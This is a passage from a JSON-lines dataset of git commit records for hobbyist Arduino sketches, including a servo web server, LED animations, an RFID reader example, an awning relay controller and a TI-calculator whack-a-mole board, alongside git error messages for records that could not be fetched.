\uc124\uc815 \n server.on(\"\/\", [](){\n sendHtml(url);\n });\n server.on(\"\/open1\", [](){\n myservo.write(160); \n sendHtml(url);\n });\n server.on(\"\/close1\", [](){\n myservo.write(130); \n sendHtml(url);\n });\n server.on(\"\/auto1\", [](){\n myservo.write(160); \n delay(600);\n myservo.write(130); \n sendHtml(url);\n });\n server.on(\"\/open2\", [](){\n myservo2.write(160); \n sendHtml(url);\n });\n server.on(\"\/close2\", [](){\n myservo2.write(130); \n sendHtml(url);\n });\n server.on(\"\/auto2\", [](){\n myservo2.write(160); \n delay(600);\n myservo2.write(130); \n sendHtml(url);\n });\n \/\/\uc11c\ubc84 \uc0ac\uc6a9\uc744 \uc2dc\uc791\ud569\ub2c8\ub2e4.\n server.begin();\n Serial.println(\"HTTP server started\");\n}\n\nvoid loop(void){\n server.handleClient();\/\/\ud074\ub77c\uc774\uc5b8\ud2b8 \uc811\uc18d\uc744 \uad00\ub9ac\ud569\ub2c8\ub2e4.\n}\n\nvoid sendHtml(String url){\n String html = \"\";\n html += \"<html><script src=\\\"http:\/\/www.w3schools.com\/lib\/w3data.js\\\"><\/script>\";\n html += \"<body><div w3-include-html=\\\"\" + url + \"\\\"><\/div>\";\n html += \"<script>w3IncludeHTML();<\/script><\/body><\/html>\";\n server.send(200, \"text\/html\", html);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RemotePat.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"1596ebea85c9df66e490f86cfdb67b58c538f336","subject":"Create blend_into_rainbow.ino","message":"Create blend_into_rainbow.ino","repos":"marmilicious\/FastLED_examples","old_file":"blend_into_rainbow.ino","new_file":"blend_into_rainbow.ino","new_contents":"\/\/***************************************************************\n\/\/ Messing with blending a moving cycling color into a moving\n\/\/ background rainbow.\n\/\/\n\/\/ Marc Miller, Sept 2019\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define DATA_PIN 11\n#define CLK_PIN 13\n#define LED_TYPE LPD8806\n#define COLOR_ORDER GRB\n#define NUM_LEDS 32\n#define BRIGHTNESS 255\nCRGB leds[NUM_LEDS];\n\nuint8_t pos; \/\/stores a position for color being blended in\nuint8_t hue, hue2; \/\/stores a color\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(2500); \/\/ startup delay\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLK_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n Serial.println(\"Setup done. \\n\");\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n EVERY_N_MILLISECONDS(60){\n hue++; \/\/used to cycle through the rainbow\n }\n\n fill_rainbow(leds, NUM_LEDS, hue, 255\/NUM_LEDS\/4); \/\/draw part of the rainbow into the strip\n fadeToBlackBy(leds, NUM_LEDS, 70); \/\/fade the whole strip down some\n\n EVERY_N_MILLISECONDS(150) {\n pos++;\n if (pos == NUM_LEDS) { pos = 0; } \/\/reset to begining\n }\n\n EVERY_N_MILLISECONDS(5){\n hue2 = hue2 - 1; \/\/used to change the moving color\n }\n CRGB blendThisIn = CHSV(hue2, 140, 255); \/\/color to blend into the background\n CRGB blendThisIn2 = CHSV(hue2, 170, 255); \/\/color to blend into the background\n CRGB blendThisIn3 = CHSV(hue2, 210, 255); \/\/color to blend into the background\n CRGB blendThisIn4 = CHSV(hue2, 255, 255); \/\/color to blend into the background\n\n static uint8_t blendAmount = 240; \/\/amount of blend [range: 0-255]\n\n leds[pos] = nblend(leds[pos], blendThisIn4, blendAmount\/3);\n leds[mod8(pos+1,NUM_LEDS)] = nblend(leds[mod8(pos+1,NUM_LEDS)], blendThisIn3, blendAmount\/2);\n leds[mod8(pos+2,NUM_LEDS)] = nblend(leds[mod8(pos+2,NUM_LEDS)], blendThisIn2, blendAmount);\n leds[mod8(pos+3,NUM_LEDS)] = nblend(leds[mod8(pos+3,NUM_LEDS)], blendThisIn, blendAmount);\n leds[mod8(pos+4,NUM_LEDS)] = nblend(leds[mod8(pos+4,NUM_LEDS)], blendThisIn2, blendAmount);\n leds[mod8(pos+5,NUM_LEDS)] = nblend(leds[mod8(pos+5,NUM_LEDS)], blendThisIn3, blendAmount\/2);\n leds[mod8(pos+6,NUM_LEDS)] = nblend(leds[mod8(pos+6,NUM_LEDS)], blendThisIn4, blendAmount\/3);\n\n FastLED.show(); \/\/update the display\n\n EVERY_N_SECONDS(random8(5,21)) {\n delay(3000); \/\/randomly stop the animation to observe the blending\n }\n\n}\/\/end_main_loop\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'blend_into_rainbow.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ae05b51058912becd09af0612abc911ebfb2c67b","subject":"minor changes to BarGraph Arduino","message":"minor changes to BarGraph Arduino\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Action Modules\/Bar Graph\/BarGraphArduino\/BarGraphArduino.ino","new_file":"Action Modules\/Bar Graph\/BarGraphArduino\/BarGraphArduino.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Action' did not match any file(s) known to git\nerror: pathspec 'Modules\/Bar' did not match any file(s) known to git\nerror: pathspec 'Graph\/BarGraphArduino\/BarGraphArduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b6175ddaa90e6c3b530d5bd6d9d2ad6593082e9f","subject":"mfrc522","message":"mfrc522\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_13-mfrc522-esp8266\/_13-mfrc522-esp8266.ino","new_file":"_13-mfrc522-esp8266\/_13-mfrc522-esp8266.ino","new_contents":"\/\/ pro pins\n\/\/ SPI: 10 (SS), 11 (MOSI), 12 (MISO), 13 (SCK). \n\n\n\/*\n * ----------------------------------------------------------------------------\n * This is a MFRC522 library example; see https:\/\/github.com\/miguelbalboa\/rfid\n * for further details and other examples.\n * \n * NOTE: The library file MFRC522.h has a lot of useful info. Please read it.\n * \n * Released into the public domain.\n * ----------------------------------------------------------------------------\n * Example sketch\/program showing how to read data from a PICC (that is: a RFID\n * Tag or Card) using a MFRC522 based RFID Reader on the Arduino SPI interface.\n * \n * When the Arduino and the MFRC522 module are connected (see the pin layout\n * below), load this sketch into Arduino IDE then verify\/compile and upload it.\n * To see the output: use Tools, Serial Monitor of the IDE (hit Ctrl+Shft+M).\n * When you present a PICC (that is: a RFID Tag or Card) at reading distance\n * of the MFRC522 Reader\/PCD, the serial output will show the ID\/UID, type and\n * any data blocks it can read. Note: you may see \"Timeout in communication\"\n * messages when removing the PICC from reading distance too early.\n * \n * If your reader supports it, this sketch\/program will read all the PICCs\n * presented (that is: multiple tag reading). So if you stack two or more\n * PICCs on top of each other and present them to the reader, it will first\n * output all details of the first and then the next PICC. Note that this\n * may take some time as all data blocks are dumped, so keep the PICCs at\n * reading distance until complete.\n * \n * Typical pin layout used:\n * -----------------------------------------------------------------------------------------\n * MFRC522 Arduino Arduino Arduino Arduino Arduino\n * Reader\/PCD Uno Mega Nano v3 Leonardo\/Micro Pro Micro\n * Signal Pin Pin Pin Pin Pin Pin\n * -----------------------------------------------------------------------------------------\n * RST\/Reset RST 9 5 D9 RESET\/ICSP-5 RST\n * SPI SS SDA(SS) 10 53 D10 10 10\n * SPI MOSI MOSI 11 \/ ICSP-4 51 D11 ICSP-4 16\n * SPI MISO MISO 12 \/ ICSP-1 50 D12 ICSP-1 14\n * SPI SCK SCK 13 \/ ICSP-3 52 D13 ICSP-3 15\n *\/\n\n\/\/ pro pins\n\/\/ SPI: 10 (SS), 11 (MOSI), 12 (MISO), 13 (SCK). \n\n\/* wiring the MFRC522 to ESP8266 (ESP-12)\nRST = GPIO15\nSDA(SS) = GPIO2 \nMOSI = GPIO13\nMISO = GPIO12\nSCK = GPIO14\nGND = GND\n3.3V = 3.3V\n*\/\n\n#include <ESP8266WiFi.h>\n#include <SPI.h>\n#include <MFRC522.h>\n\n#define RST_PIN 15 \/\/ \n#define SS_PIN 2 \/\/\n\nMFRC522 mfrc522(SS_PIN, RST_PIN); \/\/ Create MFRC522 instance\n\nvoid setup() {\n Serial.begin(115200); \/\/ Initialize serial communications with the PC\n while (!Serial); \/\/ Do nothing if no serial port is opened (added for Arduinos based on ATMEGA32U4)\n SPI.begin(); \/\/ Init SPI bus\n mfrc522.PCD_Init(); \/\/ Init MFRC522\n ShowReaderDetails(); \/\/ Show details of PCD - MFRC522 Card Reader details\n Serial.println(F(\"Scan PICC to see UID, type, and data blocks...\"));\n}\n\nvoid loop() {\n \/\/ Look for new cards\n if ( ! mfrc522.PICC_IsNewCardPresent()) {\n return;\n }\n\n \/\/ Select one of the cards\n if ( ! mfrc522.PICC_ReadCardSerial()) {\n return;\n }\n\n \/\/ Dump debug info about the card; PICC_HaltA() is automatically called\n mfrc522.PICC_DumpToSerial(&(mfrc522.uid));\n}\n\nvoid ShowReaderDetails() {\n \/\/ Get the MFRC522 software version\n byte v = mfrc522.PCD_ReadRegister(mfrc522.VersionReg);\n Serial.print(F(\"MFRC522 Software Version: 0x\"));\n Serial.print(v, HEX);\n if (v == 0x91)\n Serial.print(F(\" = v1.0\"));\n else if (v == 0x92)\n Serial.print(F(\" = v2.0\"));\n else\n Serial.print(F(\" (unknown)\"));\n Serial.println(\"\");\n \/\/ When 0x00 or 0xFF is returned, communication probably failed\n if ((v == 0x00) || (v == 0xFF)) {\n Serial.println(F(\"WARNING: Communication failure, is the MFRC522 properly connected?\"));\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_13-mfrc522-esp8266\/_13-mfrc522-esp8266.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"e9be15727475dfa0287709fceb934b124846048f","subject":"poc claper","message":"poc claper\n","repos":"dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST","old_file":"project\/project.ino","new_file":"project\/project.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dave-ausbone\/TJU-SST.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"4377e4bd11f8586bff5130daac62b774d12fa76f","subject":"New Device ID method with init","message":"New Device ID method with init\n","repos":"Countly\/countly-sdk-iot-cpp","old_file":"ArduinoEthernetIoTSDK\/examples\/temperature\/temperature.ino","new_file":"ArduinoEthernetIoTSDK\/examples\/temperature\/temperature.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Countly\/countly-sdk-iot-cpp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3dfc4abb885a6b5f41fcb7c3218ac007bdb35223","subject":"Added NanoEngine example with AdafruitGFX usage","message":"Added NanoEngine example with AdafruitGFX usage\n","repos":"lexus2k\/ssd1306,lexus2k\/ssd1306,lexus2k\/ssd1306,lexus2k\/ssd1306","old_file":"examples\/nano_engine\/hearts8_adafruit\/hearts8_adafruit.ino","new_file":"examples\/nano_engine\/hearts8_adafruit\/hearts8_adafruit.ino","new_contents":"\/*\r\n MIT License\r\n\r\n Copyright (c) 2018, Alexey Dynda\r\n\r\n Permission is hereby granted, free of charge, to any person obtaining a copy\r\n of this software and associated documentation files (the \"Software\"), to deal\r\n in the Software without restriction, including without limitation the rights\r\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n copies of the Software, and to permit persons to whom the Software is\r\n furnished to do so, subject to the following conditions:\r\n\r\n The above copyright notice and this permission notice shall be included in all\r\n copies or substantial portions of the Software.\r\n\r\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\n SOFTWARE.\r\n*\/\r\n\/**\r\n * Attiny85 PINS\r\n * ____\r\n * RESET -|_| |- 3V\r\n * SCL (3) -| |- (2)\r\n * SDA (4) -| |- (1)\r\n * GND -|____|- (0)\r\n *\r\n * Atmega328 PINS: connect LCD to A4\/A5\r\n *\/\r\n\r\n\/\/ Define this before including library header, this will give Adafruit GFX support\r\n\/\/ !!! Don't forget to install AdafruitGFX library to your Arduino IDE !!!\r\n#define CONFIG_ADAFRUIT_GFX_ENABLE\r\n\r\n#include \"ssd1306.h\"\r\n#include \"nano_engine.h\"\r\n\r\n\/\/ No need to include this for Arduino sketch\r\n#ifndef ARDUINO\r\nextern \"C\" void __cxa_pure_virtual() { while (1); }\r\n#endif\r\n\r\n\/*\r\n * Heart image below is defined directly in flash memory.\r\n * This reduces SRAM consumption.\r\n * The image is define from left to rigth (bits), from top to\r\n * bottom (bytes). Unlike NanoCanvas1 of ssd1306 library, Adafruit\r\n * GFX implementation uses different aproach for images, stored in Flash.\r\n *\/\r\nconst PROGMEM uint8_t heartImage[8] =\r\n{\r\n 0B01100110,\r\n 0B11111001,\r\n 0B11111101,\r\n 0B11111111,\r\n 0B01111110,\r\n 0B00111100,\r\n 0B00011000,\r\n 0B00000000\r\n};\r\n\r\n\/*\r\n * Define sprite width. The width can be of any size.\r\n * But sprite height is always assumed to be 8 pixels\r\n * (number of bits in single byte).\r\n *\/\r\nconst int spriteWidth = sizeof(heartImage);\r\n\r\n\/* We use 8-pixels height sprites *\/\r\nconst int spriteHeight = 8;\r\n\r\n\/* Lets show 4 hearts on the display *\/\r\nconst int spritesCount = 4;\r\n\r\n\/* Declare variable that represents our 4 objects *\/\r\nstruct\r\n{\r\n NanoPoint pos;\r\n NanoPoint speed;\r\n} objects[ spritesCount ];\r\n\r\n\/* Create engine object *\/\r\nNanoEngine<ADATILE_8x8_RGB8> engine;\r\n\r\n\/* Array of colors, used for the heart sprites *\/\r\nstatic uint8_t s_colors[spritesCount] =\r\n{\r\n RGB_COLOR8(255,0,0),\r\n RGB_COLOR8(0,255,0),\r\n RGB_COLOR8(0,0,255),\r\n RGB_COLOR8(255,255,0),\r\n};\r\n\r\n\/*\r\n * This function is called by the engine every time, it needs to refresh\r\n * some part of the display. Just draw the content as usual. NanoCanvas\r\n * will do correct clipping for you.\r\n *\/\r\nbool drawHearts()\r\n{\r\n \/* Clear canvas surface *\/\r\n engine.canvas.fillScreen(0);\r\n \/* Draw line *\/\r\n engine.canvas.drawLine( 0, 0, ssd1306_displayWidth()*2 - 1, ssd1306_displayHeight()-1, RGB_COLOR8(128,128,128));\r\n \/* Draw rectangle around our canvas. It will show the range of the canvas on the display *\/\r\n engine.canvas.drawRect(0, 0, ssd1306_displayWidth(), ssd1306_displayHeight(), RGB_COLOR8(0,255,255));\r\n \/* Draw all 4 sprites on the canvas *\/\r\n for (uint8_t i = 0; i < spritesCount; i++)\r\n {\r\n engine.canvas.drawBitmap( objects[i].pos.x, objects[i].pos.y, heartImage, 8, 8, s_colors[i] );\r\n }\r\n \/* Now, return true to draw canvas on the display. *\r\n * If you return false, the part of display will not be refreshed *\/\r\n return true;\r\n}\r\n\r\nvoid setup()\r\n{\r\n \/* Initialize and clear display: 3 RST, 4 CES, 5 DS *\/\r\n il9163_128x128_spi_init(3, 4, 5);\r\n\/\/ ssd1331_96x64_spi_init(3, 4, 5);\r\n\/\/ ssd1351_128x128_spi_init(3, 4, 5);\r\n\/\/ st7735_128x160_spi_init(3, 4, 5);\r\n\/\/ -- ssd1306_128x64_i2c_init(); \/\/ RGB canvas does not support monochrome displays\r\n\/\/ -- pcd8544_84x48_spi_init(3, 4, 5);\r\n\r\n \/* Start the engine. It will switch display to required mode *\/\r\n engine.begin();\r\n\r\n \/* Set frame refresh rate: 45 is ok for the eye *\/\r\n engine.setFrameRate(45);\r\n\r\n \/* Make the engine to redraw whole display content when the board is powered on. *\r\n * refresh() function do not change display content, but says notifies engine that *\r\n * it needs to refresh() whole screen on next frame. *\/\r\n engine.refresh();\r\n\r\n \/* Create 4 \"hearts\", and place them at different positions and give different movement direction *\/\r\n for(uint8_t i = 0; i < spritesCount; i++)\r\n {\r\n objects[i].speed = { .x = (i & 2) ? -1: 1, .y = (i & 1) ? -1: 1 };\r\n objects[i].pos = { .x = i*16, .y = i*8 + 2 };\r\n }\r\n\r\n \/* Here we set draw callback, so the engine will call it every time it needs *\r\n * physically update display content *\/\r\n engine.drawCallback( drawHearts );\r\n}\r\n\r\nvoid loop()\r\n{\r\n \/* If it is not time to draw next frame just exit and do nothing *\/\r\n if (!engine.nextFrame()) return;\r\n\r\n \/* Recalculate position and movement direction of all 4 \"hearts\" *\/\r\n for (uint8_t i = 0; i < spritesCount; i++)\r\n {\r\n \/* We need to point the old position of the heart sprite *\/\r\n engine.refresh( objects[i].pos.x, objects[i].pos.y,\r\n objects[i].pos.x + spriteWidth - 1,\r\n objects[i].pos.y + spriteHeight - 1 );\r\n objects[i].pos += objects[i].speed;\r\n \/* If left or right boundary is reached, reverse X direction *\/\r\n if ((objects[i].pos.x == (ssd1306_displayWidth() - 8)) || (objects[i].pos.x == 0))\r\n objects[i].speed.x = -objects[i].speed.x;\r\n \/* Sprite height is always 8 pixels. Reverse Y direction if bottom or top boundary is reached. *\/\r\n if ((objects[i].pos.y == (ssd1306_displayHeight() - 8)) || (objects[i].pos.y == 0))\r\n objects[i].speed.y = -objects[i].speed.y;\r\n \/* Now provide the new position of the heart sprite to engine *\/\r\n engine.refresh( objects[i].pos.x, objects[i].pos.y,\r\n objects[i].pos.x + spriteWidth - 1,\r\n objects[i].pos.y + spriteHeight - 1 );\r\n }\r\n \/* Now do updates on the display *\/\r\n engine.display();\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/nano_engine\/hearts8_adafruit\/hearts8_adafruit.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9953a4b30d98ce11910f0787c315b28bf30307cd","subject":"Push the button if you're a skittle","message":"Push the button if you're a skittle\n","repos":"IrisEdelsmid\/arduinoFun","old_file":"Skittle_sorter\/Skittle_sorter\/Skittle_sorter.ino","new_file":"Skittle_sorter\/Skittle_sorter\/Skittle_sorter.ino","new_contents":"\/*Button\n * LED attached from pin 13 to ground\n * pushbutton attached to pin 2 from +5V\n * 10K resistor attached to pin 2 from ground\n *\/\n\nconst int buttonPin = 2; \nconst int ledPin = 13; \nint buttonState = 0; \/\/ variable for reading pushbutton status\n\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n pinMode(buttonPin, INPUT);\n}\n\nvoid loop() {\n \/\/ read the state of the pushbutton value:\n buttonState = digitalRead(buttonPin);\n\n \/\/ check if the pushbutton is pressed.\n \/\/ if it is, the buttonState is HIGH:\n if (buttonState == HIGH) {\n \/\/ LED on:\n digitalWrite(ledPin, HIGH);\n } else {\n \/\/ LED off:\n digitalWrite(ledPin, LOW);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Skittle_sorter\/Skittle_sorter\/Skittle_sorter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"469af12e91ef1cf76a1c7ab35fbdd0039d635c14","subject":"Testing api call from arduino uno","message":"Testing api call from arduino uno\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"Documentation\/unit tests\/ciao_test\/ciao_test.ino","new_file":"Documentation\/unit tests\/ciao_test\/ciao_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Documentation\/unit' did not match any file(s) known to git\nerror: pathspec 'tests\/ciao_test\/ciao_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"93e821fea0a15c5eba26ad324f16c771012530f9","subject":"Create meross-to-remote.ino","message":"Create meross-to-remote.ino","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_86-meross-garage-to-remote\/meross-to-remote.ino","new_file":"_86-meross-garage-to-remote\/meross-to-remote.ino","new_contents":"\n\/\/ INPUT\n#define REED_SENSOR_PIN 14\n#define HKIT_CMD_PIN 10\n#define HKIT_GND_PIN 16\n \n\/\/ OUTPUT\n#define AWNING_OPEN_CMD_PIN 8\n#define AWNING_CLOSE_CMD_PIN 9\n \n \nbool AWNING_REEDS_STATUS;\n \nunsigned long DURATION;\n \nvoid setup() {\n pinMode(REED_SENSOR_PIN, INPUT);\n pinMode(HKIT_CMD_PIN, INPUT_PULLUP);\n pinMode(HKIT_GND_PIN, OUTPUT);\n \n pinMode(AWNING_OPEN_CMD_PIN, OUTPUT);\n pinMode(AWNING_CLOSE_CMD_PIN, OUTPUT);\n \n digitalWrite(HKIT_GND_PIN, LOW);\n digitalWrite(AWNING_OPEN_CMD_PIN, LOW);\n digitalWrite(AWNING_CLOSE_CMD_PIN, LOW);\n}\n \nvoid loop() {\n DURATION = pulseIn(HKIT_CMD_PIN, LOW, 1000000000);\n if ( DURATION > 10 ) {\n AWNING_REEDS_STATUS = digitalRead(REED_SENSOR_PIN);\n if(AWNING_REEDS_STATUS) { \/\/ CLOSED STATUS --> OPEN\n digitalWrite(AWNING_OPEN_CMD_PIN, HIGH);\n delay(500);\n digitalWrite(AWNING_OPEN_CMD_PIN, LOW);\n Serial.println(\"CMD IN, OPENNING AWNING\"); \n } else { \n digitalWrite(AWNING_CLOSE_CMD_PIN, HIGH);\n delay(500);\n digitalWrite(AWNING_CLOSE_CMD_PIN, LOW);\n Serial.println(\"CMD IN, CLOSING AWNING\"); \n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_86-meross-garage-to-remote\/meross-to-remote.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"ba7c07907b867b445e8dcf610a8562d4d8f7e778","subject":"RF12_printSerial_Vcc_T - first working version","message":"RF12_printSerial_Vcc_T - first working version\n","repos":"473856\/Lupinino,473856\/Lupinino,473856\/Lupinino,473856\/Lupinino","old_file":"projects\/RF12_printSerial_Vcc_T\/RF12_printSerial_Vcc_T.ino","new_file":"projects\/RF12_printSerial_Vcc_T\/RF12_printSerial_Vcc_T.ino","new_contents":"\/\/\n\/\/ Receive packets from JNu Temperature node\n\/\/ Print Vcc, Temperature\n\n#include <JeeLib.h>\n\nfloat Vcc, T;\n\nvoid setup () {\n Serial.begin(57600);\n Serial.println(57600);\n Serial.println(\"Receive\");\n rf12_initialize(1, RF12_868MHZ, 33);\n}\n\nvoid loop () {\n if (rf12_recvDone() && rf12_crc == 0) {\n for (byte i = 0; i < rf12_len; ++i) {\n Serial.print(rf12_data[i]);\n Serial.print(' ');\n } \n Serial.println();\n \n Vcc = (rf12_data[0] + 256 * rf12_data[1])\/100.0;\n T = (rf12_data[2] + 256 * rf12_data[3])\/100.0; \n Serial.println(Vcc);\n Serial.println(T); \n Serial.println();\n }\n \n delay(4000); \/\/ otherwise led blinking isn't visible\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'projects\/RF12_printSerial_Vcc_T\/RF12_printSerial_Vcc_T.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"69e177711a096240865aff7e41125a6ae1292cad","subject":"fix inconsistency issue for time to stay in setup mode before automatically moving to ACTIVE mode. Also did some code cleanup","message":"fix inconsistency issue for time to stay in setup mode before automatically moving to ACTIVE mode. Also did some code cleanup\n","repos":"JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud","old_file":"pvcloud_arduino_library\/examples\/tombo_demo\/tombo_demo.ino","new_file":"pvcloud_arduino_library\/examples\/tombo_demo\/tombo_demo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulioOrdonezV\/pvcloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"406e7b4b2f648ea675d22aa384ed273f8066111d","subject":"Versioning Whack-a-Mole demo","message":"Versioning Whack-a-Mole demo\n","repos":"KermMartian\/ArTICL","old_file":"examples\/WhackAMole\/whackamole.ino","new_file":"examples\/WhackAMole\/whackamole.ino","new_contents":"\/*************************************************\n * WhackAMole.ino *\n * Example from the ArTICL library *\n * Created by Timothy Keller, *\n * With Christopher Mitchell, *\n * 2011-2015, all rights reserved. *\n * *\n * This demo allows interfacing with a MSP432 *\n * device designed as a Whack A Mole Board, by *\n * emulating a CBL2 Style API. *\n * Pins 2 and 23-30 are connected to CDS cells *\n * that act as our \"buttons\" for this demo. *\n * *\n *************************************************\/\n \n#include <CBL2.h>\n#include <TIVar.h>\n\n\/\/#define VERBOSE\n\nCBL2* cbl;\nconst int lineRed = 4;\nconst int lineWhite = 3;\n\n#define ANALOG_PIN_COUNT 9\nconst int analogPins[ANALOG_PIN_COUNT] = {30, 29, 28, 27, 26, 25, 24, 23, 2};\n\n#define RGB_Red 40\n#define RGB_Green 39\n#define RGB_Blue 38\n#define Multiplexer_PIN_COUNT 9\nconst int multiplexer_pins[Multiplexer_PIN_COUNT] = {37, 36, 35, 34, 33, 32, 31, 11, 12};\n\n#define MAXDATALEN 255\nuint8_t header[16];\nuint8_t data[MAXDATALEN];\n\n\/\/ Set up serial for debugging, and CBL2 for communication\nvoid setup() {\n Serial.begin(9600);\n cbl = new CBL2(lineRed, lineWhite);\n cbl->resetLines();\n#ifdef VERBOSE\n cbl->setVerbosity(true, &Serial); \/\/ Comment this in for message information\n#endif\n cbl->setupCallbacks(header, data, MAXDATALEN,\n onGetAsCBL2, onSendAsCBL2); \n}\n\n\/\/ Main loop: Let CBL2 event handler do the work\nvoid loop() {\n int rval;\n rval = cbl->eventLoopTick();\n if (rval && rval != ERR_READ_TIMEOUT) {\n Serial.print(\"Failed to run eventLoopTick: code \");\n Serial.println(rval);\n }\n \n}\n\n\/\/ Takes Led = LED 1-9\nvoid SetRgbActive(int led){\n turnOffAllRGBLEDs();\n digitalWrite(multiplexer_pins[led - 1], HIGH);\n\n}\n\nvoid turnOffAllRGBLEDs(){\n for(int i = 0; i < Multiplexer_PIN_COUNT; i++) {\n digitalWrite(multiplexer_pins[i], LOW);\n } \n}\n\nint onGetAsCBL2(uint8_t type, enum Endpoint model, int datalen) {\n#ifdef VERBOSE\n Serial.print(\"Got variable of type \");\n Serial.print(type);\n Serial.print(\" from endpoint of type \");\n Serial.println((int)model);\n#endif\n \n if (type != 0x5D) { \/\/VarTypes82::VarRList) ???\n return -1; \/\/If you are not a list we do not want you ABORT\n }\n int list_len = data[0] | (data[1] << 8);\n switch(list_len) {\n case 1:{ \/\/If we are a control structure\n int value = (int)TIVar::realToFloat8x(&data[2], model); \/\/ Get element\n switch(value){\n case 0:{ \/\/ Turns off all LEDS\n#ifdef VERBOSE\n Serial.println(\"Turning off all LEDs\");\n#endif\n turnOffAllRGBLEDs();\n return 0;\n }\n case 10: \/\/ Unimplemented yet. But room to grow for single commands is here. \n case 11: \/\/\n default:\n return -1;\n }\n }\n case 4:{ \/\/ RGB Control structure\n \/\/ {N,R,G,B} Where N is LED and RGB=Analog Values for each color\n \n turnOffAllRGBLEDs(); \/\/First we turn off the multiplexer\n \n int Offset = 2; \/\/Start us after the size bytes\n int NewLed = (int)TIVar::realToFloat8x(&data[Offset], model); \/\/ Get element\n \n Offset += TIVar::sizeOfReal(model);\n int val_red = (int)TIVar::realToFloat8x(&data[Offset], model);\n Offset += TIVar::sizeOfReal(model);\n int val_green = (int)TIVar::realToFloat8x(&data[Offset], model);\n Offset += TIVar::sizeOfReal(model);\n int val_blue = (int)TIVar::realToFloat8x(&data[Offset], model);\n \n#ifdef VERBOSE\n Serial.print(\"Setting LED \");\n Serial.print(NewLed);\n Serial.print(\" to color (\");\n Serial.print(val_red);\n Serial.print(',');\n Serial.print(val_green);\n Serial.print(',');\n Serial.print(val_blue);\n Serial.println(\")\");\n#endif\n \/\/ I don't know why this is inverted. It works.\n analogWrite(RGB_Red, 255 - val_red);\n analogWrite(RGB_Green, 255 - val_green);\n analogWrite(RGB_Blue, 255 - val_blue);\n \n SetRgbActive(NewLed); \/\/Turn on the new LED\n return 0;\n } \n default:{ \/\/ Gotta Catch Em All!\n return -1;\n } \n }\n \n return -1;\n}\n\nint onSendAsCBL2(uint8_t type, enum Endpoint model, int* headerlen,\n int* datalen, data_callback* data_callback)\n{\n Serial.print(\"Got request for variable of type \");\n Serial.print(type);\n Serial.print(\" from endpoint of type \");\n Serial.println((int)model);\n\n if (type != VarTypes82::VarRList)\n return -1; 